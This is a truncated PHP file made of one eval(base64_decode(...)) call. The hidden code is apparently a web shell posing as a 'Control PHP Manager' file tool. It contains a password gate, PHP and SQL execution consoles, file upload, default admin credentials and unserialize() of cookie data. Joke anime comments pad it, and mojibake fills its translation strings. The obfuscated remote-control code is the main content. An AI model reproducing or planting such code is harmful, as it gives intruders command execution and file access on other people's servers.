eval(''.base64_decode('PD9waHAgJHVVdVVVVVV1VSA9Ilw3NCI7JHVVdVVVVVV1VS49IlwxNDYiOyR1dXV1VXVVdT0iXDExMCI7JHVVdVVVVVV1VS49IlwxNTciOyR1VXVVVVVVdVUuPSJcMTYyIjskdVV1VVVVVXVVLj0iXDE1NSI7JHVVdVVVVVV1VS49IiAiOyR1dXV1VXVVdS49IlwxMjQiOyR1dXV1VXVVdS49IlwxMjQiOyR1VXVVVVVVdVUuPSJcMTU2IjskVXU9IlwxNTQiOyRVdS49IlwxNDciOyR1dXV1VXVVdS49IlwxMjAiOyR1VXVVVVVVdVUuPSJcMTQxIjskdXV1dVV1VXUuPSJcMTM3IjskdXV1dVV1VXUuPSJcMTEwIjskdVV1VVVVVXVVLj0iXDE1NSI7JHVVdVVVVVV1VS49IlwxNDUiOyR1VXVVVVVVdVUuPSJcNzUiOyR1dXV1VXVVdS49IlwxMTciOyR1VXVVVVVVdVUuPSInIjskdVV1VVVVVXVVLj0iXDE0NiI7JFV1Lj0iXDEzNyI7JHVVdVVVVVV1VS49IlwxNTciOyR1dXV1VXVVdS49IlwxMjMiOyRVdS49IlwxNTUiOyRVdS49IlwxNTEiOyRVdS49IlwxNTUiOyRVdS49IlwxNDEiOyR1dXV1VXVVdS49IlwxMjQiOyR1VXVVVVVVdVUuPSJcMTYyIjskdVV1VVVVVXVVLj0iXDE1NSI7JHVVdVVVVVV1VS49IjEiOyR1VXVVVVVVdVUuPSInIjskdVV1VVVVVXVVLj0iICI7JHVVdVVVVVV1VS49IlwxNDEiOyR1VXVVVVVVdVUuPSJcMTQzIjskdVV1VVVVVXVVLj0iXDE2NCI7JHVVdVVVVVV1VS49IlwxNTEiOyR1VXVVVVVVdVUuPSJcMTU3IjskdVV1VVVVVXVVLj0iXDE1NiI7JHVVdVVVVVV1VS49Ilw3NSI7JHVVdVVVVVV1VS49IiciOyR1VXVVVVVVdVUuPSInIjskdVV1VVVVVXVVLj0iICI7JHVVdVVVVVV1VS49IlwxNTUiOyR1VXVVVVVVdVUuPSJcMTQ1IjskdVV1VVVVVXVVLj0iXDE2NCI7JHVVdVVVVVV1VS49IlwxNTAiOyR1VXVVVVVVdVUuPSJcMTU3IjskdVV1VVVVVXVVLj0iXDE0NCI7JHVVdVVVVVV1VS49Ilw3NSI7JHVVdVVVVVV1VS49IiciOyR1VXVVVVVVdVUuPSJcMTYwIjskdVV1VVVVVXVVLj0iXDE1NyI7JHVVdVVVVVV1VS49IlwxNjMiOyR1VXVVVVVVdVUuPSJcMTY0IjskdVV1VVVVVXVVLj0iJyI7JHVVdVVVVVV1VS49Ilw3NiI7JHVVdVVVVVV1VS49Ilw3NCI7JHVVdVVVVVV1VS49IlwxNTEiOyR1VXVVVVVVdVUuPSJcMTU2IjskdVV1VVVVVXVVLj0iXDE2MCI7JHVVdVVVVVV1VS49IlwxNjUiOyR1VXVVVVVVdVUuPSJcMTY0IjskdVV1VVVVVXVVLj0iICI7JHVVdVVVVVV1VS49IlwxNTYiOyR1VXVVVVVVdVUuPSJcMTQxIjskdVV1VVVVVXVVLj0iXDE1NSI7JHVVdVVVVVV1VS49IlwxNDUiOyR1VXVVVVVVdVUuPSJcNzUiOyR1VXVVVVVVdVUuPSInIjskdVV1VVVVVXVVLj0iXDE1NCI7JHVVdVVVVVV1VS49IlwxNDciOyR1VXVVVVVVdVUuPSJcMTM3IjskdVV1VVVVVXVVLj0iXDE1NSI7JHVVdVVVVVV1VS49IlwxNTEiOyR1VXVVVVVVdVUuPSJcMTU1IjskdVV1VVVVVXVVLj0iXDE0MSI7JHVVdVVVVVV1VS49IiciOyR1VXVVVVVVdVUuPSIgIjskdVV1VVVVVXVVLj0iXDE2NCI7JHVVdVVVVVV1VS49IlwxNzEiOyR1VXVVVVVVdVUuPSJcMTYwIjskdVV1VVVVVXVVLj0iXDE0NSI7JHVVdVVVVVV1VS49Ilw3NSI7JHVVdVVVVVV1VS49IiciOyR1VXVVVVVVdVUuPSJcMTY0IjskdVV1VVVVVXVVLj0iXDE0NSI7JHVVdVVVVVV1VS49IlwxNzAiOyR1VXVVVVVVdVUuPSJcMTY0IjskdVV1VVVVVXVVLj0iJyI7JHVVdVVVVVV1VS49Ilw3NiI7JHVVdVVVVVV1VS49Ilw3NCI7JHVVdVVVVVV1VS49IlwxNTEiOyR1VXVVVVVVdVUuPSJcMTU2IjskdVV1VVVVVXVVLj0iXDE2MCI7JHVVdVVVVVV1VS49IlwxNjUiOyR1VXVVVVVVdVUuPSJcMTY0IjskdVV1VVVVVXVVLj0iICI7JHVVdVVVVVV1VS49IlwxNTYiO3Nlc3Npb25fc3RhcnQoKTskdVV1VVVVVXVVLj0iXDE0MSI7JHVVdVVVVVV1VS49IlwxNTUiOyR1VXVVVVVVdVUuPSJcMTQ1IjskdVV1VVVVVXVVLj0iXDc1IjskdVV1VVVVVXVVLj0iJyI7JHVVdVVVVVV1VS49IlwxNjMiOyR1VXVVVVVVdVUuPSJcMTY1IjskdVV1VVVVVXVVLj0iXDE0MiI7JHVVdVVVVVV1VS49IlwxNTUiOyR1VXVVVVVVdVUuPSJcMTUxIjskdVV1VVVVVXVVLj0iXDE2NCI7JHVVdVVVVVV1VS49IiciOyR1VXVVVVVVdVUuPSIgIjskdVV1VVVVVXVVLj0iXDE2NCI7JHVVdVVVVVV1VS49IlwxNzEiOyR1VXVVVVVVdVUuPSJcMTYwIjskdVV1VVVVVXVVLj0iXDE0NSI7JHVVdVVVVVV1VS49Ilw3NSI7JHVVdVVVVVV1VS49IiciOyR1VXVVVVVVdVUuPSJcMTYzIjskdVV1VVVVVXVVLj0iXDE2NSI7JHVVdVVVVVV1VS49IlwxNDIiOyR1VXVVVVVVdVUuPSJcMTU1IjskdVV1VVVVVXVVLj0iXDE1MSI7JHVVdVVVVVV1VS49IlwxNjQiOyR1VXVVVVVVdVUuPSInIjskdVV1VVVVVXVVLj0iICI7JHVVdVVVVVV1VS49IlwxNjYiOyR1VXVVVVVVdVUuPSJcMTQxIjskdVV1VVVVVXVVLj0iXDE1NCI7JHVVdVVVVVV1VS49IlwxNjUiOyR1VXVVVVVVdVUuPSJcMTQ1IjskdVV1VVVVVXVVLj0iXDc1IjskdVV1VVVVVXVVLj0iJyI7JHVVdVVVVVV1VS49IlwxNjMiOyR1VXVVVVVVdVUuPSJcMTY1IjskdVV1VVVVVXVVLj0iXDE0MiI7JHVVdVVVVVV1VS49IlwxNTUiOyR1VXVVVVVVdVUuPSJcMTUxIjskdVV1VVVVVXVVLj0iXDE2NCI7JHVVdVVVVVV1VS49IiciOyR1VXVVVVVVdVUuPSJcNzYiOyR1VXVVVVVVdVUuPSJcNzQiOyR1VXVVVVVVdVUuPSJcNTciOyR1VXVVVVVVdVUuPSJcMTQ2IjskdVV1VVVVVXVVLj0iXDE1NyI7JHVVdVVVVVV1VS49IlwxNjIiOyR1VXVVVVVVdVUuPSJcMTU1IjskdVV1VVVVVXVVLj0iXDc2IjskVXV1VXV1dXU9JF9TRVJWRVJbJHV1dXVVdVV1XTskVXV1VXV1dXUuPSRVdTskVXV1VXV1dXU9bWQ1KCRVdXVVdXV1dSk7JFV1dVV1dXV1PXN1YnN0cigkVXV1VXV1dXUsMCw2KTtpZihpc3NldCgkX1BPU1RbJFV1XSkpeyRfU0VTU0lPTlskVXVdPXRyaW0oJF9QT1NUWyRVdV0pO31pZihlbXB0eSgkX1NFU1NJT05bJFV1XSl8fCRfU0VTU0lPTlskVXVdIT0kVXV1VXV1dXUpe2VjaG8gJHVVdVVVVVV1VTsgZXhpdDt9Pz48P3BocA0KDQoNCg0KDQoNCg0KDQogICAgICAgICAvKiBZdXN1c2hpZGEgQ29udHJvbCBQSFAgTWFuYWdlciAxNC4yICovDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gU3ViYXJhc2hpaSwgaGVscGluZyB5b3Ugc2VlIGhvdyBtdWNoIHNwYWNlIHlvdXIgZm9sZGVyIGlzIHRha2luZyB1cO+/ve+/vWRvbu+/ve+/vXQgbGV0IGl0IGdldCB0b28gYmlnLCBuZSENCg0KDQoNCg0KDQoNCg0KICAgJGF1dGhvcml6YXRpb25CaXJvYXMgPSAneyJhdXRob3JpemUiOiIwIiwibG9naW4iOiJhZG1pbiIsInBhc3N3b3JkIjoicGhwZm0iLA0KImNvb2tpZV9uYW1lIjoiZm1fdXNlciIsImRheXNfYXV0aG9yaXphdGlvbiI6IjMwIiwic2NyaXB0IjoiPHNjcmlwdCB0eXBlPVwidGV4dFwvamF2YXNjcmlwdFwiIHNyYz1cImh0dHBzOlwvXC93d3cuY2RvbGl2ZXQuY29tXC9lZGl0YXJlYVwvZWRpdGFyZWFcL2VkaXRfYXJlYVwvZWRpdF9hcmVhX2Z1bGwuanNcIj48XC9zY3JpcHQ+XHJcbjxzY3JpcHQgbGFuZ3VhZ2U9XCJKYXZhc2NyaXB0XCIgdHlwZT1cInRleHRcL2phdmFzY3JpcHRcIj5cclxuZWRpdEFyZWFMb2FkZXIuaW5pdCh7XHJcbmlkOiBcIm5ld2NvbnRlbnRcIlxyXG4sZGlzcGxheTogXCJsYXRlclwiXHJcbixzdGFydF9oaWdobGlnaHQ6IHRydWVcclxuLGFsbG93X3Jlc2l6ZTogXCJib3RoXCJcclxuLGFsbG93X3RvZ2dsZTogdHJ1ZVxyXG4sd29yZF93cmFwOiB0cnVlXHJcbixsYW5ndWFnZTogXCJydVwiXHJcbixzeW50YXg6IFwicGhwXCJcdFxyXG4sdG9vbGJhcjogXCJzZWFyY2gsIGdvX3RvX2xpbmUsIHwsIHVuZG8sIHJlZG8sIHwsIHNlbGVjdF9mb250LCB8LCBzeW50YXhfc2VsZWN0aW9uLCB8LCBjaGFuZ2Vfc21vb3RoX3NlbGVjdGlvbiwgaGlnaGxpZ2h0LCByZXNldF9oaWdobGlnaHQsIHwsIGhlbHBcIlxyXG4sc3ludGF4X3NlbGVjdGlvbl9hbGxvdzogXCJjc3MsaHRtbCxqcyxwaHAscHl0aG9uLHhtbCxjLGNwcCxzcWwsYmFzaWMscGFzXCJcclxufSk7XHJcbjxcL3NjcmlwdD4ifSc7DQoNCg0KDQoNCiRwaHBfdGVtcGxhdGVzID0gJ3siU2V0dGluZ3MiOiJnbG9iYWwgJGZtX2NvbmZpZztcclxudmFyX2V4cG9ydCgkZm1fY29uZmlnKTsiLCJCYWNrdXAgU1FMIHRhYmxlcyI6ImVjaG8gZm1fYmFja3VwX3RhYmxlcygpOyJ9JzsNCg0KJHNxbF90ZW1wbGF0ZXMgPSAneyJBbGwgYmFzZXMiOiJTSE9XIERBVEFCQVNFUzsiLCJBbGwgdGFibGVzIjoiU0hPVyBUQUJMRVM7In0nOw0KDQokdHJhbnNsYXRpb24gPSAneyJpZCI6InJ1IiwiQWRkIjoi77+977+977+977+90qfRp9On2qfvv73vv70iLCJBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIHRoaXMgZGlyZWN0b3J5IChyZWN1cnNpdmVseSk/Ijoi77+977+977+977+9IO+/ve+/vdOn1qfvv73Wp9+n77+9LCDvv73vv73vv73vv70g77+977+977+977+92qfvv73vv70g77+977+91afRp92n2qfvv73vv70g77+977+977+977+9IO+/ve+/vdGn77+93Kfvv70gKO+/ve+/vdan3Kfvv73vv73vv73ap9On36fvv70pPyIsIkFyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgdGhpcyBmaWxlPyI6Iu+/ve+/ve+/ve+/vSDvv73vv73Tp9an77+91qffp++/vSwg77+977+977+977+9IO+/ve+/ve+/ve+/vdqn77+977+9IO+/ve+/vdWn0afdp9qn77+977+9IO+/ve+/ve+/ve+/ve+/vSDvv73vv73Rp9un77+9PyIsIkFyY2hpdmluZyI6Iu+/ve+/ve+/ve+/ve+/vdqn06fap++/ve+/vdOn0afvv73vv70iLCJBdXRob3JpemF0aW9uIjoi77+977+977+906fvv73vv73vv73ap9mn0afvv73ap++/vSIsIkJhY2siOiLvv73vv73vv73Rp9mn0afvv70iLCJDYW5jZWwiOiLvv73vv73vv73vv73ep9an36fvv70iLCJDaGluZXNlIjoi77+977+977+92qfvv73Rp9un77+93Kfap++/vSIsIkNvbXByZXNzIjoi77+977+977+92KfRp++/ve+/vSIsIkNvbnNvbGUiOiLvv73vv73vv73vv73fp++/ve+/vd2n77+9IiwiQ29va2llIjoi77+977+977+977+93Kfvv70iLCJDcmVhdGVkIjoi77+977+977+977+92afVp9Gn77+9IiwiRGF0ZSI6Iu+/ve+/ve+/vdGn77+977+9IiwiRGF5cyI6Iu+/ve+/ve+/vd+n1qfvv70iLCJEZWNvbXByZXNzIjoi77+977+977+90afvv73vv73Rp9yn77+906fRp++/ve+/vSIsIkRlbGV0ZSI6Iu+/ve+/ve+/vdWn0afdp9qn77+977+9IiwiRGVsZXRlZCI6Iu+/ve+/ve+/vdWn0afdp9an36fvv70iLCJEb3dubG9hZCI6Iu+/ve+/ve+/vdyn0afvv73Rp++/ve+/vSIsImRvbmUiOiLvv73Zp9Gn3Kfvv73fp++/vdan36fvv70iLCJFZGl0Ijoi77+977+977+91qfVp9Gn3Kfvv73ap++/ve+/vdOn0afvv73vv70iLCJFbnRlciI6Iu+/ve+/ve+/ve+/ve+/ve+/vSIsIkVuZ2xpc2giOiLvv73vv73vv73fp9Sn3afap9un77+93Kfap++/vSIsIkVycm9yIG9jY3VycmVkIjoi77+977+977+977+977+92qfZp++/ve+/vd2n77+9IO+/ve+/ve+/vdqn0qfcp++/vSIsIkZpbGUgbWFuYWdlciI6Iu+/ve+/ve+/vdGn26fdp++/vdOn77+977+9IO+/vd6n1qffp9an1afYp9an77+9IiwiRmlsZSBzZWxlY3RlZCI6Iu+/ve+/ve+/ve+/vdKn77+90afvv70g77+977+90afbp++/vSIsIkZpbGUgdXBkYXRlZCI6Iu+/ve+/ve+/vdGn26fvv70g77+977+977+977+977+90affp9an77+9IiwiRmlsZW5hbWUiOiLvv73vv73vv73ep++/vSDvv73vv73Rp9un3afvv70iLCJGaWxlcyB1cGxvYWRlZCI6Iu+/ve+/ve+/vdGn26fvv70g77+92afRp9Sn77+977+92KfWp++/vSIsIkZyZW5jaCI6Iu+/ve+/ve+/ve+/vdGn36fvv73vv73Zp++/vdyn2qfvv70iLCJHZW5lcmF0aW9uIHRpbWUiOiLvv73vv73vv73Wp9+n1qfvv73Rp++/vdqn77+9IO+/ve+/ve+/ve+/vdGn36fap++/ve+/vSIsIkdlcm1hbiI6Iu+/ve+/ve+/vdan3qfWp++/vdyn2qfvv70iLCJIb21lIjoi77+977+977+977+93qfvv73vv70iLCJRdWl0Ijoi77+977+977+977+977+977+977+9IiwiTGFuZ3VhZ2UiOiLvv73vv73vv73Zp++/ve+/vSIsIkxvZ2luIjoi77+977+977+977+91Kfap++/vSIsIk1hbmFnZSI6Iu+/ve+/ve+/ve+/ve+/vdGn06fdp9an36fap++/vSIsIk1ha2UgZGlyZWN0b3J5Ijoi77+977+977+977+92afVp9Gn77+977+9IO+/ve+/vdGn77+93Kfvv70iLCJOYW1lIjoi77+977+977+90afap96n1qffp++/vdOn0affp9qn77+9IiwiTmV3Ijoi77+977+977+977+906fvv73vv70iLCJOZXcgZmlsZSI6Iu+/ve+/ve+/ve+/vdOn77+977+9IO+/ve+/vdGn26fvv70iLCJubyBmaWxlcyI6Iu+/vd+n1qfvv70g77+977+90afbp92n77+977+9IiwiUGFzc3dvcmQiOiLvv73vv73vv73Rp++/ve+/vd2n77+9IiwicGljdHVyZXMiOiLvv73ap9mn77+90qfvv73Rp9in1qffp9qn77+9IiwiUmVjdXJzaXZlbHkiOiLvv73vv73vv73Wp9yn77+977+977+92qfTp9+n77+9IiwiUmVuYW1lIjoi77+977+977+91qfvv73Wp9qn3qfWp9+n77+906fRp++/ve+/vSIsIlJlc2V0Ijoi77+977+977+90qfvv73vv73vv73ap++/ve+/vSIsIlJlc2V0IHNldHRpbmdzIjoi77+977+977+90qfvv73vv73vv73ap++/ve+/vSDvv73fp9Gn77+977+977+977+926fcp++/vSIsIlJlc3RvcmUgZmlsZSB0aW1lIGFmdGVyIGVkaXRpbmciOiLvv73vv73vv73vv73vv73vv73vv73Rp9+n0afTp92n2qfTp9Gn77+977+9IO+/vdOn77+91qfep++/vSDvv73vv73Rp9un3afvv70g77+977+977+977+93afvv70g77+977+91qfVp9Gn3Kfvv73ap++/ve+/vdOn0affp9qn77+9IiwiUmVzdWx0Ijoi77+977+977+91qfZp++/vd2n77+977+90afvv70iLCJSaWdodHMiOiLvv73vv73vv73vv73Rp9On77+9IiwiUnVzc2lhbiI6Iu+/ve+/ve+/ve+/ve+/ve+/vdyn2qfvv70iLCJTYXZlIjoi77+977+977+977+977+977+90affp9qn77+977+9IiwiU2VsZWN0Ijoi77+977+977+977+90qfWp++/vdqn77+977+9IiwiU2VsZWN0IHRoZSBmaWxlIjoi77+977+977+977+90qfWp++/vdqn77+977+9IO+/ve+/vdGn26fvv70iLCJTZXR0aW5ncyI6Iu+/ve+/ve+/vdGn77+977+977+977+926fcp++/vSIsIlNob3ciOiLvv73vv73vv73vv73cp9Gn2afRp++/ve+/vSIsIlNob3cgc2l6ZSBvZiB0aGUgZm9sZGVyIjoi77+977+977+977+93KfRp9mn77+906fRp++/ve+/vSDvv73vv73Rp9mn3qfWp++/vSDvv73vv73Rp++/vdyn77+9IiwiU2l6ZSI6Iu+/ve+/ve+/vdGn2afep9an77+9IiwiU3BhbmlzaCI6Iu+/ve+/ve+/ve+/ve+/vdGn36fvv73cp9qn77+9IiwiU3VibWl0Ijoi77+977+977+977+977+977+90afTp9qn77+977+9IiwiVGFzayI6Iu+/ve+/ve+/vdGn1afRp++/ve+/vSIsInRlbXBsYXRlcyI6Iu+/ve+/vdGn0qfdp++/vd+n77+9IiwiVWtyYWluaWFuIjoi77+977+977+93Kfvv73Rp9qn36fvv73cp9qn77+9IiwiVXBsb2FkIjoi77+977+977+90afUp++/ve+/vdmn2qfvv73vv70iLCJWYWx1ZSI6Iu+/ve+/ve+/vd+n0afvv73Wp9+n2qfvv70iLCJIZWxsbyI6Iu+/ve+/ve+/ve+/vdqn06fWp++/vSIsIkZvdW5kIGluIGZpbGVzIjoi77+977+977+90afbp9Wn1qffp++/vSDvv73vv70g77+977+90afbp92n0afvv70iLCJTZWFyY2giOiLvv73vv73vv73vv73ap++/ve+/vSIsIlJlY3Vyc2l2ZSBzZWFyY2giOiLvv73vv73vv73Wp9yn77+977+977+92qfTp9+n77+977+9IO+/ve+/ve+/vdqn77+977+9IiwiTWFzayI6Iu+/ve+/ve+/vdGn77+93Kfvv70ifSc7DQoNCi8vIGthd2FpaSwgc28geW91IGRvbu+/ve+/vXQgcnVuIG91dCBvZiBzcGFjZSB3aGlsZSBkb3dubG9hZGluZyBhbGwgeW91ciBhbmltZSBlcGlzb2Rlcw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQovLyBnb21lbmFzYWksIHdpcGluZyBhd2F5IHlvdXIgcGFzdCBjb21tYW5kcyBsaWtlIGl0IHdhcyBhbGwganVzdCBhIGRyZWFtIQ0KDQokc3RhcnR0aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsNCiRzdGFydHRpbWUgPSAkc3RhcnR0aW1lWzFdICsgJHN0YXJ0dGltZVswXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQokbGFuZ3MgPSBhcnJheSgnZW4nLCdydScsJ2RlJywnZnInLCd1aycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiRwYXRoID0gZW1wdHkoJF9SRVFVRVNUWydwYXRoJ10pID8gJHBhdGggPSByZWFscGF0aCgnLicpIDogcmVhbHBhdGgoJF9SRVFVRVNUWydwYXRoJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRwYXRoKSAuICcvJzsNCg0KJG1haW5fcGF0aD1zdHJfcmVwbGFjZSgnXFwnLCAnLycscmVhbHBhdGgoJy4vJykpOw0KJHBoYXJfbWF5YmUgPSAodmVyc2lvbl9jb21wYXJlKHBocHZlcnNpb24oKSwiNS4zLjAiLCI8IikpP3RydWU6ZmFsc2U7DQokbXNnX2hlYWRlcnMgPSAnJzsgLy8gc28gZGVzdSBrYSwgbWFraW5nIHN1cmUgeW91ciBmaWxlIGlzIHJlYWxseSB0aGVyZSBiZWZvcmUgeW91IHRyeSB0byBvcGVuIGl0DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiRkZWZhdWx0X2xhbmd1YWdlID0gJ3J1JzsNCg0KJGRldGVjdF9sYW5nID0gdHJ1ZTsNCg0KJGZtX3ZlcnNpb24gPSAxLjQ7DQoNCg0KDQovLyBuZSwgc2hvd2luZyB3aG8gY2FuIGFjY2VzcywgbW9kaWZ5LCBvciBleGVjdXRlIHRoZSBmaWxl77+977+9bGlrZSBjaGVja2luZyBpZiBzb21lb25lIGNhbiBlbnRlciB5b3VyIHNlY3JldCBoaWRlb3V0IQkgICAgIA0KDQokYXV0aF9nb3duID0ganNvbl9kZWNvZGUoJGF1dGhvcml6YXRpb25CaXJvYXMsdHJ1ZSk7DQokYXV0aF9nb3duWydhdXRob3JpemUnXSA9IGlzc2V0KCRhdXRoX2dvd25bJ2F1dGhvcml6ZSddKSA/ICRhdXRoX2dvd25bJ2F1dGhvcml6ZSddIDogMDsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KJGF1dGhfZ293blsnZGF5c19hdXRob3JpemF0aW9uJ10gPSAoaXNzZXQoJGF1dGhfZ293blsnZGF5c19hdXRob3JpemF0aW9uJ10pJiZpc19udW1lcmljKCRhdXRoX2dvd25bJ2RheXNfYXV0aG9yaXphdGlvbiddKSkgPyAoaW50KSRhdXRoX2dvd25bJ2RheXNfYXV0aG9yaXphdGlvbiddIDogMzA7DQokYXV0aF9nb3duWydsb2dpbiddID0gaXNzZXQoJGF1dGhfZ293blsnbG9naW4nXSkgPyAkYXV0aF9nb3duWydsb2dpbiddIDogJ2FkbWluJzsgIA0KDQokYXV0aF9nb3duWydwYXNzd29yZCddID0gaXNzZXQoJGF1dGhfZ293blsncGFzc3dvcmQnXSkgPyAkYXV0aF9nb3duWydwYXNzd29yZCddIDogJ3BocGZtJzsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQokYXV0aF9nb3duWydjb29raWVfbmFtZSddID0gaXNzZXQoJGF1dGhfZ293blsnY29va2llX25hbWUnXSkgPyAkYXV0aF9nb3duWydjb29raWVfbmFtZSddIDogJ2ZtX3VzZXInOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQokYXV0aF9nb3duWydzY3JpcHQnXSA9IGlzc2V0KCRhdXRoX2dvd25bJ3NjcmlwdCddKSA/ICRhdXRoX2dvd25bJ3NjcmlwdCddIDogJyc7DQoNCg0KLy8gWWF0dGEsIG1ha2luZyBpdCBzbWFsbGVyIG9yIGxhcmdlciBmb3IgeW91ciBjb252ZW5pZW5jZSwgbGlrZSBlZGl0aW5nIGEgY3V0ZSBwaWN0dXJlIG9mIHlvdXIgZmF2b3JpdGUgY2hhcmFjdGVyIQ0KDQokZm1fZGVmYXVsdF9jb25maWcgPSBhcnJheSAoDQoNCgkgICAgICdtYWtlX2RpcmVjdG9yeScgPT4gdHJ1ZSwgDQoJICAgICAnbmV3X2ZpbGUnID0+IHRydWUsIA0KDQoJICAgICAndXBsb2FkX2ZpbGUnID0+IHRydWUsIA0KCSAgICAgJ3Nob3dfZGlyX3NpemUnID0+IGZhbHNlLCAvLyBhcmlnYXRvdSwgbWFraW5nIHN1cmUgdGhlIGZpbGUgZm9ybWF0IGZpdHMgdGhlIHByb2dyYW0geW91IHdhbnQgdG8gb3BlbiBpdCB3aXRoDQoJICAgICAnc2hvd19pbWcnID0+IHRydWUsIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgICdzaG93X3BocF92ZXInID0+IHRydWUsIA0KDQoJICAgICAnc2hvd19waHBfaW5pJyA9PiBmYWxzZSwgLy8gc2hvdyBwYXRoIHRvIGN1cnJlbnQgcGhwLmluaQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAnc2hvd19ndCcgPT4gdHJ1ZSwgLy8gc2hvdyBnZW5lcmF0aW9uIHRpbWUNCg0KCSAgICAgJ2VuYWJsZV9waHBfY29uc29sZScgPT4gdHJ1ZSwNCg0KCSAgICAgJ2VuYWJsZV9zcWxfY29uc29sZScgPT4gdHJ1ZSwNCgkgICAgICdzcWxfc2VydmVyJyA9PiAnbG9jYWxob3N0JywNCgkgICAgICdzcWxfdXNlcm5hbWUnID0+ICdyb290JywNCg0KCSAgICAgJ3NxbF9wYXNzd29yZCcgPT4gJycsDQoNCgkgICAgICdzcWxfZGInID0+ICd0ZXN0X2Jhc2UnLA0KDQoJICAgICAnZW5hYmxlX3Byb3h5JyA9PiB0cnVlLA0KDQoJICAgICAnc2hvd19waHBpbmZvJyA9PiB0cnVlLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgJ3Nob3dfeGxzJyA9PiB0cnVlLA0KDQoJICAgICAnZm1fc2V0dGluZ3MnID0+IHRydWUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgJ3Jlc3RvcmVfdGltZScgPT4gdHJ1ZSwNCgkgICAgICdmbV9yZXN0b3JlX3RpbWUnID0+IGZhbHNlLA0KDQopOw0KDQoNCmlmIChlbXB0eSgkX0NPT0tJRVsnZm1fY29uZmlnJ10pKSAkZm1fY29uZmlnID0gJGZtX2RlZmF1bHRfY29uZmlnOw0KDQplbHNlICRmbV9jb25maWcgPSB1bnNlcmlhbGl6ZSgkX0NPT0tJRVsnZm1fY29uZmlnJ10pOw0KDQoNCg0KLy8gQ2hhbmdlIGxhbmd1YWdlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCmlmIChpc3NldCgkX1BPU1RbJ2ZtX2xhbmcnXSkpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIHNldGNvb2tpZSgnZm1fbGFuZycsICRfUE9TVFsnZm1fbGFuZyddL